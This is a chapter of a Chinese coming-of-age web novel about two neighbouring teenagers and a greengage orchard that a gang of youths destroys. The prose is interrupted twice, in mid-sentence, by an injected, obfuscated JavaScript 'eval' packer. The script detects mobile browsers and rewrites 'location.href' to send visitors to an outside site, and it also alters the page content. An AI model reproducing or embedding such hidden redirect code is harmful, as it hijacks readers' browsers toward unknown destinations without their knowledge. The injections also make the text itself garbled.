妈妈说:“岑西,你的任务就是整理好我们的后院,不能让他们仓库里外的垃圾飘到我们后院里。” 岑西不敢拒绝,一边羡慕周云笙有闲时间逗蜘蛛,一边咬紧牙齿清扫后院,手动拔草,拽着长长的水管冲洗院子。 她的手法越来越熟练。 期间,她没见过周北鸣的妈妈来打扫仓库。 岑西告诉爸爸疑问,爸爸说:“他的妈妈用空闲时间在做刺绣,市场里有店铺会花钱收购刺绣作品。” 她的刺绣作品不见得有多优秀。 可每次去市场,岑西都能看到她的刺绣作品。 标价由八十元到数百元不等。 岑西的妈妈总说:“她要是真有做刺绣的时间,不如把仓库打扫干净,打扫仓库不见得会用掉她多少时间。” 岑西的爸爸和北鸣的爸爸关系倒是好很多。 她的爸爸回到家会替周先生感到惋惜:“一个工作压力很大的丈夫,和一个突然被裁员,只能在家做点刺绣手艺的妻子,接触的人不一样,总会有聊不到一起的时候。” 惋惜有什么用。 那是周北鸣家的事情。 可能他讨厌的性格就是从他爸妈身上学来的。 小学五年级时,北鸣拉着他的姐姐到青梅果林采摘青梅果,他们两个有时候会扑到土地上打滚。 岑西和爸爸路过蓝湾石桥,总能望见果林里的北鸣。 他爬树后在果林上蹿下跳,像在泥池里玩疯了的大金毛。 爸爸后怕道:“苏岑西,你不能像他一样在果林里疯玩,还有你,苏浮胜,别以为我看不出你想过去疯,我不会允许你们在果林里乱滚乱爬。” 苏浮胜“切”一声,朝着果林挥舞手臂:“就算我去玩,又能怎样?” 岑西眼睛转了转,刚抬头,就瞧见爸爸瞪大的眼睛。 她后怕地低下头,希望周北鸣永远不会拽她接触青梅果林。 实际上,岑西偷偷靠近过青梅果林。 虽然只去过一次。 七年级开学前,苏汐小姨的黑猫窜出门,跑到街道里。 岑西跟着黑猫跑,一路跑到青梅果林前。 黑猫窜进果林,一溜烟跑没影了。 夜色降临,猫在哪更加看不出。 北鸣那天路过青梅果林,帮她把黑猫从污水沟里捞出来。 他随身携带猫草饼干,手脚麻利地踩进污水沟,再一点点地靠近陷入污泥的黑猫。 出来时,他像买了游戏装备,眨眼间抱着猫站到土地上。 他没要求她买零食,也不要求她说谢谢。 更没有说她为什么不关好门,不看好猫。 他扯扯因找猫蹭脏刮破的外套,笑眯眯地把猫抱给她,还塞给她一小把猫草饼干。 岑西仍惊魂未定,她差点以为她要弄丢小姨的黑猫。 猫从她身边跑出去的时候,她第一反应觉得要完蛋了。 夜色降临后,她认为猫肯定找不回来了。 北鸣却不认为没有找到的可能。 他走过青梅果林,一句话不抱怨地踏进污水沟,上岸,递猫,塞饼干。 他凭什么一点也不嫌弃。 显得她似傲慢鬼。 岑西抱着猫被他带出青梅果林,她思索他是不是已经记住果林的路该怎么走。 几天后,她偷偷跑进青梅果林。 她没有进过污水沟,只是把脚放上去都无法忍受。 她试一次就不试了,更不要提在踩着污泥捞东西,想想就可怕。 岑西在污水沟边转悠一下午,仿若走迷宫,一步不停地走到天黑,她发现污水沟边有一颗小些的青梅果树。 她险些没有找到离开青梅果林的路。 但这一定不是她的问题,是青梅果林太讨厌了。 七年级正式开学后,岑西仍这样想。 但另一件更糟糕的事情出现了。 她和周北鸣被同一所中学所录取。 而去学校必须路过蓝湾石桥,在桥上,一扭头就能看到青梅果林。 她不论上学,放学,星期天,遇见周北鸣的概率大幅度增加。 因为课程时间一样,岑西总看到北鸣凑到她的身边,跟在她的身后,他时不时还盯着她看。 岑西以为分班后就能摆脱周北鸣,学校却把他们分进一个班级。 每天放学后,北鸣和班里的同学组队跑进青梅果林,他们比赛爬树,捉迷藏,在果林玩一二三木头人和沙包游戏。 班里同学都听北鸣介绍过这片果林。 北鸣喊岑西一起去果林玩:“苏岑西,一起过来啊!这里肯定比你以为的有意思。” 岑西简直要疯了,他在想些什么? 难道不怕同学们再次说:“周北鸣和苏岑西是电视剧里那种青梅竹马,他们以后会……” 小学的流言,他难道没听够吗? 岑西扭头就走。 一次放学,她专门打量青梅果林里有没有学生,北鸣突然在她背后“嗷呜”一声,趁她转过头,把一只屎壳郎递到她的面前。 挥着腿的屎壳郎离她的鼻梁仅仅一掌。 岑西尖叫着跑开,左脚绊右脚差点摔倒在石桥上。 她永远不会离周北鸣那么近了! 他简直像漫画里跑出来的大反派,专门吓唬胆小的女同学。 这次之后,岑西上学放学时再不敢在蓝湾石桥逗留。 老师说“放学”的声音一落下,她抓着书包背带就朝家里跑,她跑八百米的时候都没有这么着急。 只要青梅果林出现在视野,她咬着牙也要又一次迈开步子,提起速度。 周北鸣永远别想追上她。 岑西从七年级跑到九年级。 期间,她和周北鸣始终分到一个班级。 在八年级升九年级的暑假里,岑西需要到蓝湾石桥的另一端上辅导班。 清晨,她独自路过蓝湾石桥,听见青梅果林中传出一阵呼喊。 声音听着像周北鸣。 岑西攥着书包背带,悄悄凑过去。 一群陌生的孩子拿着树枝,竹竿,各种足够长的东西,睁大眼睛在果林奔走。 北鸣在这群孩子中间来回跑,一刻不停地呼喊着。 岑西逐渐靠近,她听见这群孩子说要比赛谁打下来的青梅会更多。 她跑过来,站到青梅果林前。 终于看清果林里的情况,也明白北鸣为什么会呼喊。 他们在胡乱敲打青梅树的枝干。 树叶哗啦啦落下来,枝桠乱七八糟的折断。 被打下来的果子砸在地上,没有章法的棍子敲坏树上的果子。 和他们对抗的,只有一个没有礼貌,厚脸皮的讨厌男生。 周北鸣很在意这片青梅果林,即使他的呼喊没有用处,他也不允许其他人继续对果树下棍。 没有人理睬他的话,棍子,竹竿,树枝甚至不分你我的打到他的身上。 岑西劝他:“不要管了,快跑出来!” 他一个字没听进去,不断尝试阻拦那群更讨厌的孩子。 “苏岑西,你能帮我拦住他们吗?就算拦不住,能求你帮我把爸爸妈妈喊过来吗?求你了,这片果林对我们家很重要!” 岑西比一比,拿着工具的孩子有比她个头低的,也有比她高出很多的。 再来两个大人就能拦住他们了吗? 她皱起眉头,忽然有人喊她:“苏岑西,马上开始上课了,你不去辅导班吗?” 她安慰自己:“那是周北鸣家的事,他的事和我没关系,在乎青梅果林的是他,不是我。” 岑西转过身,跑向石桥旁的辅导班同学。 可到了辅导班,她根本听不进去课。 她想去青梅果林看一看,那群恶霸现在离开果林,放过那些青梅树了吗? 周北鸣……还好吗? 树枝,果子,竹竿,落在身上似乎很疼。 中午辅导班暂时休息,她带着同学跑到青梅果林,但周北鸣已经不在林子里。 敲打果树枝干的恶霸们也不见了。 北鸣曾帮她救猫的污水沟中陷入打烂的青梅果,他和同学经常做游戏的小路被树枝,树叶,烂掉的青梅果覆盖。 这里不像乐园了。 岑西和同学在青梅果林待了很久。 她回忆起恶霸们袭击树木的模样。 旁边的男同学“哇”得大哭:“这些树长了好多年才长成现在的样子,竟然一下就被毁了,太可惜了。” 女同学叹口气说:“真是糟蹋果子,这个月本来要丰收青梅,毁掉的果子肯定能卖很多钱。” “怎么没人阻止捣乱的人?”另一个同学不解。 岑西头脑一片空白,转移话题回到家。 她努力不回想果林发生的事,却一点帮助都没有。 她不自觉地想起早上的画面,如果当时帮忙了,能制止那些人吗?周北鸣因为这件事,会像辅导班的男同学一样哭鼻子吗? 岑西希望和北鸣见一面,她或许应该向他道歉:“不好意思,没帮上你的忙,你声嘶力竭爬到树上继续喊我的时候,很抱歉我没有回头。” 她组织语言,准备上楼时,猛然停顿。 这样说不一定有用,事情已经发生了。 他可能在埋怨她,都不想见到她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026099|194412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑西抿着嘴,回到她的房间。 第二天去辅导班,她没望见青梅果林有人。 回家时也没见到周北鸣。 她想上楼看看,小姨却忽然喊她过去。 “岑西,能过来一下吗?” “好吧,我会过去找你的。” 小姨和她不熟,说话很尴尬。 只是从卧室门口走到客厅窗户边,她就险些同手同脚。 她们能有什么好聊的。 为什么骨折好了还要住在她家。 凭什么在她家住两年,才想起来和她说话。 岑西心情很糟糕,她想装作没听见,刚扭头就见爸爸对她轻咳一声。 好吧。 不得不和小姨说话。 岑西憋着一股气,走到小姨对面。 她的小姨和爸爸妈妈年纪差不多,个子不低,手脚纤长,长发总一丝不苟的盘到脑后。 小姨时时刻刻低垂眉眼,似乎没有能够高兴的事情。 她没见小姨化过妆,衣服始终穿得松闲,偶尔会买年轻男生会喜欢的物件。 爸爸说,小姨曾经结过两次婚,但现在她已经离婚很久很久。 所以她不会再戴结婚戒指,也不需要照顾丈夫的饮食起居。 他让岑西不要提起小姨的以前。 岑西有些不服气。 小姨的以前和她有什么关系,她为什么要去了解小姨的过往。 这简直太无厘头。 她才不会和小姨多聊。 岑西走到小姨对面。 小姨坐在许久不使用的轮椅上,把亮着屏幕的手机放到堆起的杂志刊物表面。 岑西问:“小姨,有什么事吗?” “我想和你聊会儿天,岑西。” 岑西?她们没有熟悉到这种程度,不如直接叫她“苏岑西”。 当面听一个陌生的客人亲近地叫她名字,简直毛骨悚然,太诡异了。 岑西咬紧后槽牙,倒要听听所谓的“小姨”能说出多么惊天动地的话。 “你想和我聊聊住在楼上的周北鸣吗?你们应该算青梅竹马。” “青梅竹马?他和我才不是这种关系……” “你们关系不好吗?”小姨牵起嘴角,没有多少感情地看着她。 她有点苦恼,不知道怎么解释:“这和小姨有什么关系吗?” 小姨没有立刻回答她。 只是拿起手机,递到她的眼前。 岑西看过去,周北鸣竟然出现在《烟栊民生报道》里。 一下翻不到底的报道中,出现好几张周北鸣的照片。 虽然有些照片人脸打码,但她还是一眼认出哪位是周北鸣。 报道上,出现青梅果林的惨状。 “你很希望我看这则报道?”岑西问。 小姨把手机拿回来,没有回答她的问题:“你为什么觉得他和你不算青梅竹马?我听你妈妈说,你们一直在同一个班级。” “他太……”岑西低下头,安静片刻说:“他不是讨人喜欢的类型。” “可我没和他说过话,我不知道他是什么样的人。” “什么意思?小姨想和他说话?” “为什么不能和他说话,他看起来是个好孩子。” “好孩子?小姨,他才不是那种人!他简直就是讨厌鬼,没有一点分寸,还不懂礼貌,脸皮超级厚,狗皮膏药一样甩都甩不掉!” “他有那么讨厌?” “他比我说的讨厌多了!他二年级的时候就一直缠着我!” 小姨缓缓扫一眼手机报道:“他一直都住在你们楼上吗?” “才不是!我二年级时他们莫名其妙就搬过来。” 小姨沉默一会儿:“想搬到哪里,是他们的自由,岑西,不是每个女孩都能有竹马。” “竹马很值得稀罕吗?” 小姨不回答,意味不明地盯着她。 岑西疑惑道:“我说得难道不对吗?” 小姨不说话地看着她。 她心里发怵,想扭头跑回房间,又记起爸爸刚才的态度。 如果她现在抛下话题,就变成比周北鸣讨厌的人。 小姨难得和她聊天,虽然小姨更在乎周北鸣这个讨厌鬼,但她不能现在就离开。 岑西煎熬中,小姨叹气道:“等你有时间,可以仔细看看这则报道,不要只看他的外在。” 小姨说,等她想看报道,随时讲。 她没有答应下来,无法抑制地回到卧室。 凭什么要求她看周北鸣的报道! 她一直生气,晚餐都没有吃。 当哥哥喊她出来,她装没听见。 但他跑到她的窗户外面,不停地敲玻璃。 她忍无可忍,打开窗,见他端着两个堆得满满当当的盘子。 哥哥说:“小姨心情不好,爸爸在试着问原因,妈妈总在说她有多么厉害,多么瞧不起其他人……别站这儿了,胆小鬼,让一让,等我翻进去一起吃个晚饭。” 小姨因为什么心情不好,就因为她不喜欢周北鸣? 她凭什么不能讨厌周北鸣,其他人喜欢周北鸣,她就要喜欢周北鸣吗? 才不该那样。 岑西等苏浮胜翻进来,恶狠狠地吃一口盘子上的肉。 她本来想找好朋友祝漾吐槽,但大笨蛋苏浮胜已经过来了,她可以下次再和祝漾聊天。 她的心情逐渐转好,夜里却睡不着。 第二天,岑西去辅导班,没见到青梅果林里有人。 一周后也是如此。 她明明应该高兴,毕竟新年愿望实现了,她身后没有出现那个讨厌鬼,不会有人拿屎壳郎吓唬她,也不会有人打着她“竹马”的旗号。 可她竟然感觉心里乱七八糟。 又一周后,她心里仍不舒服。 祝漾说:“昨天路过你们小区,我看见周北鸣出门去蛋糕店了。” 所以他没去青梅果林,是为了去蛋糕店? 岑西皱眉,再次出门刻意路过蛋糕店,但她一次也没有撞见周北鸣。 她开始不自主地望一望青梅果林,瞧一瞧他今天出没出门。 她想见到他。 可直到九年级开学前一天,岑西都没再见到周北鸣。 九年级开学第一天,她笃定他会来学校,可班主任说:“周北鸣请假一个星期。” 放学后,祝漾说她在蓝湾石桥相反的路上遇见周北鸣。 他去了另外一家蛋糕店。 岑西有点想问他:“你为什么开学没来报道?” 但他怎么会在意她的想法。 她关心他干什么。 她绝不能去找他问话,不能让周北鸣觉得,她在乎他。 4. 望四次青梅 搬家之前,北鸣没想过妈妈有刺绣的手艺。 在承棠市,妈妈是雷厉风行的职场女强人,抵达烟栊县,妈妈在小公司做职员。 他以前没见过妈妈做刺绣,现在妈妈被离职后却能熟练用针线补贴家用。 北鸣心里不好受,但他同样喜欢妈妈的刺绣。 家里的闲置空间不大,后院的仓库从没使用过,刺绣随时可能出售,摆在满是尘土的地方实在不合适,所以,妈妈把刺绣摆在客厅。 他写暑假作业时,妈妈坐在他的旁边,一边做刺绣一边监督他完成功课。 爸爸不懂刺绣,开玩笑说:“看到你妈妈刺绣,总有种看鲁智深挑灯穿针的不适应。” 可爸爸每次出门回来,会拍给妈妈沿途风景,见到刺绣作品会第一时间录给妈妈看。 妈妈会从爸爸拍下的素材中,寻找下一幅刺绣作品的灵感,有时是一群形状有趣的云,有时是花团锦簇的沿街风景。 前段时间,妈妈在绣树木。 她固定拉伸框,准备好绣针绣线,熬夜完成作品。 这些刺绣很漂亮,北鸣却替她惋惜,盯着她在窗边忙碌,不自觉有想哭的冲动。 尤其在他拥有青梅果林后,事情不仅没有好转,还带来其他麻烦。 可是妈妈刺绣的时候,不会关注后院的仓库,也看不到不远处的青梅果林。 她拿着拉伸框,注意力分给一针一线,世界仿佛把她和周围的一切隔绝开来。 当彩线缓缓排列,细长的手指又一次捏住细针,她的眼睛豁然明亮,嘴角牵起柔和的弧度。 北鸣小时候,坐在家门口的台阶上等待妈妈下班回家,只要她看见他,就会又惊又喜地带他进客厅。 那时候能和妈妈待在一起的时间很稀少,他现在发现,妈妈陪他的时间已经多出两三倍。 也许因为相处时间比以前久,妈妈会开始和他聊以前的经历,说她读书时做过刺绣社团副社长,说她能感受到钱带来的安全感。 当北鸣增长几岁,她会聊她的朋友,说现在的时代和以前有多不一样。 她也会问他今天开心吗?学校教的课程会觉得难吗?想要去兴趣班吗? 以及探讨他知道一些事后会怎么看待。 一个星期天,妈妈接过他的书包,问他:“你一直很关注苏岑西,很想和她成为好朋友,能告诉我原因吗?” 北鸣告诉她:“岑西长得很好看,头发总是香香的,虽然她脸皮薄,很容易害羞,但她是很好很好的人。” 妈妈听完他的话,皱着眉头问他,岑西的好具体表现在哪里。 北鸣讲出很多对岑西的印象,妈妈却说希望他仔细观察岑西的人品。 北鸣觉得她的话莫名其妙,但想不出能让她立刻认可岑西的事件。 她怎么能明白岑西的好呢? 妈妈又不是岑西的同龄人。 他坐在书桌边,静静地看她刺绣。 傍晚时分,她放下工具,轻轻揉他的头顶,解释说:“判断一个人好不好,不能只看她的外表。” 不看外表?那还能看什么呢?北鸣想不明白,和人见面第一眼注意到的是对方的外貌,相处时会先记住对方的脸。 还有什么方法能更了解一个人? 他低着头,找不到答案。 小升初的暑假里,妈妈还和他聊过其他话题,但无一例外,他都听不懂。 她可能觉得他变成小大人,有些东西是时候知道了。 所有的话题,他左耳进右耳出,可她始终没放弃和他讲大道理。 “一个人除了外表,还有内在。”她脸上没有什么表情,告诉他,她的刺绣之所以好看,是因为把针线排成图案,让不同的景色融为一体。 如果单看空白的绣布,单看彩色的针线,似乎就没有多好看。 北鸣听得见每一个字,不理解组合起来的意思。 直到冲进青梅果林,他似乎明白妈妈在用刺绣讲什么事。 这片青梅果林种植在蓝湾石桥不远处,挨着污水沟的地界未被开发成公园,果林就此保留下来。 天气温暖能在果林摘青梅追蝴蝶,天气寒冷能在果林打雪仗堆雪人。 它们高大茂密,由一位烟栊本地男士种植,后来男士去外地帮忙带孙子,面积不大不小的果林就无人维护。 大棵青梅树生长几十年,小棵青梅树生长不到十年,荒废可惜,北鸣家好价租下果林。 他喜欢跑进果林,可初一开学前,他在果林边救下一只黑色的猫咪以后,果林在他心里才变得真正有意义。 他起初望见肥硕的黑猫窜进果林,接着看见黑猫跳进污水沟,悠哉地在污水沟里滚泥巴。 北鸣有亲自养过猫,很清楚跑出门的家猫不容易被追回,等它们想起回家,不知道会在多久以后。 不在意的养猫人另说,在意的养猫人会持续难过。 他见过这两类人,也帮忙找过猫,爱猫人的猫最需要仔细寻找。 不远处的黑猫恰好在休息,专心致志甩尾巴上的污泥,它是只比较胖的田园黑猫,听见声音靠近并不惊慌。 它眯起眼睛睨过岸边果树,若无其事地呼噜几声,当它看到他走进污水沟,悠悠然打起哈欠。 年数较小的青梅树枝干比较低矮,但树枝承重力比不上大棵青梅树。 北鸣深吸一口气,抓住一根树枝,小心翼翼掰开一块猫草饼干。 转头望过去,岑西站在树下,望着黑猫似乎要哭出来。 既然这么难过,十有八九就是她的猫。 他竟然有些羡慕一只黑猫! “你能离它近点吗?”她叫污水沟里的北鸣。 “应该可以!”北鸣朝树下喊。 他递出猫草饼干,向前近一点,近一点,再近一点。 树枝越来越弯曲,夜色逐渐降临,他呼唤黑猫之前,望见青梅林间的点点星空。 像透过万花筒看世界,他从来没想过,在外表有些杂乱的青梅林里,能看到这样美的画面。 天空很漂亮,星星和月亮十分显眼,光芒撒下来,穿过不规则的枝叶,再落在他的身上。 他觉得这比漫画还好看! 北鸣欣赏着,忽然转头,瞄见树下的岑西。 他后背发凉,意识到他现在待在不知深浅的污水沟,他还没把黑猫带出去。 岑西问他:“你能把它带过来吗?” 北鸣扯扯衣服:“绝对可以!” 他咬牙再次靠近黑猫,不看旁边一眼。 树枝摇摇晃晃,他等黑猫吃完又一块猫草饼干,伸手把黑猫捞进怀里。 他救到猫咪了! 但抱着猫怎么走出污水沟? 岑西喊道:“用衣服兜住它!” 他把衣服打结,围成一个口袋,把猫放进去托着。 走出污水沟不敢很慢,也不敢太莽撞。 他时不时抬头,想忘记离岸上有多远。 此刻,能不能把猫顺利带出去的不安减弱很多,要怎么记住青梅林上方的景色充斥脑海。 鼻尖甚至嗅得到果木枝叶的清新。 他得到前所未有的满足感。 岑西疑惑道:“它开始抓你,想逃跑了吗?” 北鸣陡然回神,小心翼翼继续向前。 他在途中瞥见岑西泛红的眼眶,她在为他感到担心,希望确认他和黑猫的安全。 北鸣身上猛然袭来失重感,心跳扑通扑通跳不停: 岑西在关心他。 救猫的事会成为他们两个人的独家记忆! 他有些飘飘然,把黑猫递给她的瞬间,他的心脏几乎跳到嗓子眼。 不过,不等她抱住黑猫,他的手腕乍然开始发疼,阵阵凉意从疼痛的血肉擦过。 凉意擦过疼痛的血肉? 北鸣胳膊外撇,悄悄打量手腕,瞧见手腕的侧面多出几道抓痕,里面似乎流着血。 岑西腼腆地侧头,视线从他身上移开。 北鸣脚趾扣紧鞋底,想挪挪位置,却同手同脚撞到青梅树干。 她抱着黑猫走远了,他一溜烟跑进青梅果林,用袖子遮挡一片猫爪痕。 他后知后觉感受到渗出的痛楚,脑海却想起在污水沟望见的画面。 他的记忆里,点点星光交错枝叶,慢慢的阵阵清晰。 北鸣想要再见到这幅光景,最好一辈子忘不掉这样的画面。 第二天起,他爱上这片桥边的青梅果林,他每天跑进来,觉得已经拥有全世界。 他在果林一待一整天,只是躺在树叶堆仰望天空,坐在树下读漫画书。 天气变暖,傍晚降临,他路过污水沟,躺在果林土地眺望夜空。 每天的景色不一样,有时见不到一颗星星,有时枝叶间的星星比烟花显眼。 一段时间后,北鸣突然明白妈妈所说的“除了外表,还有内在”的评价。 青梅果林的美好在外面看不出来,里面的画面已经美过他见到的所有景色。 它不再是单纯的果林。 他有些意外于他对果林看法的转变。 它什么时候变得比以前美好了? 他明明常来果林,对它的变化应该觉得开心,怎么会有点惋惜? 为什么他的心情变得很奇怪? 它似乎启发他一些以前不理解的事。 北鸣整个初一第一学期,都在家里,学校,青梅果林三点一线,有时候,他会在果林玩一会儿,再跑过蓝湾石桥去学校。 起初,他只想在青梅果林见见不同的景色。 他带着早餐跑进果林,吃完后掐着点冲出去,一溜烟踩过石桥,踏进初中教室。 它是仅仅属于他,不属于其他学生的秘密基地,他会在果林看今天都有谁路过蓝湾石桥。 初一开学第一天,他尝试和同学分享果林的奥妙,哪怕有一个同学听进去,他就会带着人走进果林。 但没有哪个同学喜欢上果林。 他们觉得果林外面太脏了,果林挨着污水沟实在难闻。 那些气味偶尔才会飘进来,因为那些就不想见识果林的神奇吗? 周北鸣不太理解他们。 他躲着爸爸跑进青梅果林,他的爸爸在意太多事,不会允许他白天晚上待在秘密基地。 他亲爱的姐姐根本没心思管他。 妈妈会鼓励他尝试新事物,肯定不会禁止他拥有个人秘密基地。 但是他不打算把秘密基地介绍给妈妈,妈妈和爸爸总会交换关于他和姐姐的新动向,他们沟通以后,不会允许他晚上到达青梅果林。 为了守护秘密基地,能从不同角度看夜景,他决定隐瞒去果林的行踪。 有段时间,北鸣身边没有其他人,只有他和他的秘密基地。 坐在果树下面,他抱着漫画书却看不下去。 他不明白,他为什么一直没有交到新的好朋友?班里的同学似乎都有了同班的最好朋友。 他从小学认识的好朋友最近在准备滑板比赛,空闲时间跑着去练习场地,没有和他一起玩的时间。 班里其他人有时候会陪他过来玩,但他们不会每天来。 他还曾想把好不容易找到的屎壳郎拿给苏岑西,可苏岑西尖叫着跑开了。 直到初一结束,似乎没人能理解他。 八年级开学前,妈妈在窗边做刺绣。 空调呼呼响着,塑料盒中摆放针线,她捏住一根细针,打算为树上的苹果补出更深的颜色。 北鸣扯扯短袖,百无聊赖地坐到她的对面。 穿好针线,她问:“发生什么事了吗?你看起来好像有点不开心。” 妈妈问过他很多次,他之前总会说:“没什么事。” 可今天趴在她对面,他想说却不知道从哪里开始说。 她捏着深红色的长线,在绣布对比颜色,随后缓缓地问:“要和我聊聊吗?” 北鸣鼻子发酸,突如其来地想要掉眼泪:“真的不管说什么都可以吗,妈妈。” 她温和地笑:“当然可以,你是我的孩子,有什么不能聊的话题吗?” “我不知道是不是不能聊,但我理解你之前说的话了,除了表面,还有内在。” 她拿针的手顿住了:“是怎样明白的呢?能和我聊聊吗?” 北鸣点头,告诉妈妈在青梅果林的事。 里面的画面,气味,温度,生命,以及躺在树叶堆上能看到的另外一个世界。 它的外面和里面很不一样。 她静静地听着,期间不做刺绣,不说一个字。 他面对她,苦恼道:“你会想和我一起去果林吗?” 她看了他好几分钟,随后亲切地点了点头:“北鸣,我一直不会爬树,但你愿意的话可以教我,如果我实在学不会,我们可以一起躺在树叶堆上看夜空。在你初二结束后可以吗?那时候青梅成熟,我们还可以一起摘果子。” “当然可以!” 北鸣窜起来四处奔跑,夜里喜悦得睡不着。 他翻出日历,在青梅成熟的月份画上圆圈。 他开始期待初三了,到时他一定是最快乐的孩子! 到青梅成熟时,他知道,他结束了整个初二生活,他该邀请妈妈一起去果林转转。 他盯着天气预报,在温度最合适的日子跑到青梅果林。 清晨的凉爽实在合他心意,他清理果林外的每一处垃圾,捡走果林里的玻璃碎片。 他坐在树下,盘算需要准备什么东西。除了带妈妈看夜空,爬树,是不是要给她带花买蛋糕? 北鸣考虑款式,突然听见吵吵嚷嚷的笑闹声。 他爬到树上,望见青梅果林外停下几辆电动车,电动车周围没有大人,上面放着几个塑料袋和篮筐。 他很熟悉那些篮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026100|194412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筐,采摘下来的果子一般都会装进去,他家也有不少装果篮筐。 篮筐不远处,五个穿着高中校服的男生坐在土坡推推嚷嚷,大笑着放下手里的竹竿。 北鸣滑下树,跑过去喊:“能请你们到其他地方吗?这片果林不能进去……” 这里是我们家的果园。 他的话还没说完,个子最高的男生就提着篮筐走过来,他身后的几个人朝他挥了挥竹竿。 其中一个人拿出手机,说:“赶紧过来,就一个小屁孩,没什么好怕的。” 北鸣没听清楚,他环视他们手里的竹竿,篮筐,塑料袋,不知道他们是要拍摄视频,还是要路过打架。 忽然,几个骑着电动车的初中生赶过来,他们和高中生聚在一起聊会儿天,一蹦一跳地凑到他的面前。 和他个子差不多的初中生指着他:“赶紧闭嘴,别影响我们摘果子。” 他站在果林入口,艰难地咽一下口水。 他前所未有的恍惚,不确定道:“摘果子?” “不然呢?你以为我们过来干什么。” “我怎么不知道,是谁请你们摘果子的?” “关你什么事,我们不能自己请自己吗?”初中生脱下校服外套,大步走过来。 “哪有这种道理?” 虽然堵在果林前的人只有他,但他清楚瞧见这群人个个带着工具。 初中生面色不愉,对他挥挥竹竿:“你最好别挡路,这片青梅果林没人看守,之前还荒废好几年,果子放着也是浪费,不如让我们摘走。” 聚集过来的摘果人越来越多。 他们的表情逐渐不耐烦。 似乎还有人没到,他们盯着他,没有立刻进果林。 北鸣第一次见这种场景,他嗓子发干,手脚冰凉。 他怎么可能拦得住这么多人? 但不能让他们偷走青梅果,毁了这片果林! 他大喊道:“你们谁都不能去摘果子,这是我家的果园,我们花钱租下来了!” 站在后面的高中生撇了撇嘴:“果子那么多,你们家又吃不完。你就是不想和我们分享青梅果。你到底想让开,还是想等会儿被我们扔进污水沟?” 从这里跑回家要十几分钟,他之前从没有在这条路全速奔跑过。 可他总觉得,即便全速奔跑,其他人也赶不上阻止他们摘果子。 “我就站在这里,你们谁都不许摘果子!”他喊道。 这群人难道真的敢把他扔进污水沟? 他们肯定不敢真的动手。 北鸣逐渐有底气,他甚至望见离蓝湾石桥不远的苏岑西。 她看到果林的情况,一定会帮忙的吧? 他以最大声音呼唤:“苏岑西,你快来帮帮我!你去我家,和我爸妈说有人要偷摘果子!你快去!” 摘果人聚在一起,又有一群人过来后,他们朝他走过来。 一脚踩上蓝湾石桥的苏岑西似乎没听见,她继续向前走。 北鸣脑子发懵,怔愣一会儿。 他被领头的高中生推一把,跌倒在果树下。 摘果人成群结队路过他,闯进他的秘密基地。 他听到有人警告他:“再乱嚷就把你的外套挂树枝上。” 北鸣爬起来,追着他们进果林。 果子,树枝,树叶,噼里啪啦落下来。 终于,他瞟见苏岑西走过来。 他恳请她帮忙,但她一言不发地跑到他家的反方向。 她去了蓝湾石桥另一端。 北鸣不知道他在果林声嘶力竭喊了多久。 中午,爸爸好话说尽,希望他从果树下站起来,走出去,回家吃午饭。 他一言不发,一动不动。 没过多久,妈妈跑到他面前。 她蹲在他面前和他说一会儿话,然后喊爸爸去蛋糕店为他买一大块蛋糕。 她带着爸爸把蛋糕捧到他面前。 他忍无可忍,头埋进臂弯嚎啕大哭。 他说:“还没带妈妈看之前提过的夜空。” 妈妈抱着他说:“任何景色都没有你重要,看夜空的机会还能再有,果树还能再养,可我只有你一个儿子,没有什么比你重要。” 妈妈牵着他站起来,爸爸背着他朝家里走。 但北鸣仍然开心不起来。 他闭着眼睛,不敢看果林的惨状。 回到家,他缩在房间里又哭几次。 妈妈没办法,为他取消暑期辅导班的报名,每天守在客厅里。 他难过一个多月。 等暑期辅导班结束,他意识到不能继续下去了。 他不想路过青梅果林,不想待在房间让妈妈担心。 他在家整理摘下来的青梅果,学习怎么制作青梅罐头,有空就去甜品店聊青梅果酱。 他不用再去秘密基地,不用再看见果林的掉落枝叶,被毁熟果。 哪怕,它之前是他最爱的小小天地。 初三开学前一周,北鸣从蛋糕店回来,妈妈跟着他,不让他关闭房门。 她拿来一个长长的礼物盒。 北鸣不记得今天是特殊的日子,盒子不透明,他看不出里面装了什么东西。 她走进他的房间,把礼物盒放在书桌上。 “我知道你总去青梅果林。”她说,“在你邀请我去看星空之前,我就发现这件事。” “可是,妈妈,我没带你看到果林的星空。” “但以后我们还有机会去看。” 北鸣撇撇嘴:“其实那也没什么好看……” “我们很清楚,它对你来说不只是一片果林,我希望你能接受这件事。” “可是妈妈……” “果林的事并不怪你,我和你爸爸一直这么认为。”她坐到他旁边,“这片果林能让你学到很多,能给你带去几年快乐,我们已经很满足。” 她抬起手,要揉他的发顶,又停顿一下,拍拍他的肩膀,把礼物盒挪到他手边,“这也是我送你这份礼物的原因。” 他拆开礼盒,看到他的秘密基地。 热烈生长的果树在夜空下栩栩如生,她在枝干绣出成熟的青梅果,他似乎能嗅到果实散发的香气。 他在树干上,或在树叶堆里,又一次拨开夜空,仰望到枝叶间的美丽景色。 这一刻,好看的可能是果子,可能是掉落的枝叶,也可能是梦里的每一次画面。 “我们的小小男子汉,无论有什么话都可以和我讲。” 北鸣抬手擦蹭泪珠,抬起眼睛看她:“谢谢,妈妈。”他重复道,“真的很谢谢你。” 